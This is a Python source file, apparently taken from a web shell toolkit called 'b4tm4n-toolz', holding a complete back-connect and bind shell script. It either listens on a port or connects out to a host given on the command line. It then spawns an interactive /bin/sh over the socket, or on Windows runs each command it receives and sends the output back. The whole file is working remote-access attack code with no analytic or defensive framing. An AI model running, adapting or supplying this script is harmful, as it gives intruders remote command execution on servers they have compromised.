webshell/b4tm4n-toolz/backconnect/back.py

64 lines
1.5 KiB
Python
Raw Normal View History

#!/usr/bin/env python
import re,subprocess,os,sys,socket,time
p=""
h=""
def shell(c):
proc=subprocess.Popen(c,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
return proc.stdout.read()+proc.stderr.read()+prompt().encode('utf-8')
def action(c):
if os.name!="nt":
f=c.fileno()
os.system("export TERM=xterm;PS1='$PWD>';export PS1;/bin/sh -i <&"+str(f)+" >&"+str(f)+" 2>&"+str(f))
else:
while True:
try:
r=c.recv(1024).decode("utf-8")
except:
pass
else:
if len(r)>0:
b=re.search("cd\ ([^\s]+)",r,flags=re.IGNORECASE)
if b:
if os.path.isdir(b.group(1)):
os.chdir(b.group(1))
c.send(prompt().encode('utf-8'))
else:
out=shell(r)
if out and len(out)>0:c.send(out)
else: return False
def prompt():
return "\n"+os.getcwd()+">"
g=sys.argv
if len(g)==2:
p=g[1]
elif len(g)==3:
p=g[1]
h=g[2]
else:exit(1)
p=int(p)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
if len(g)==2:
s.bind(("0.0.0.0",p))
s.listen(5)
try:(c,a)=s.accept()
except:
time.sleep(1)
else:
if os.name!="nt":
c.send(("b4tm4n shell : connected\n").encode('utf-8'))
else:
c.send(("b4tm4n shell : connected"+prompt()).encode('utf-8'))
action(c)
if len(g)==3:
try: s.connect((h,p))
except:
time.sleep(5)
else:
if os.name!="nt":
s.send(("b4tm4n shell : connected\n").encode('utf-8'))
else:
s.send(("b4tm4n shell : connected"+prompt()).encode('utf-8'))
action(s)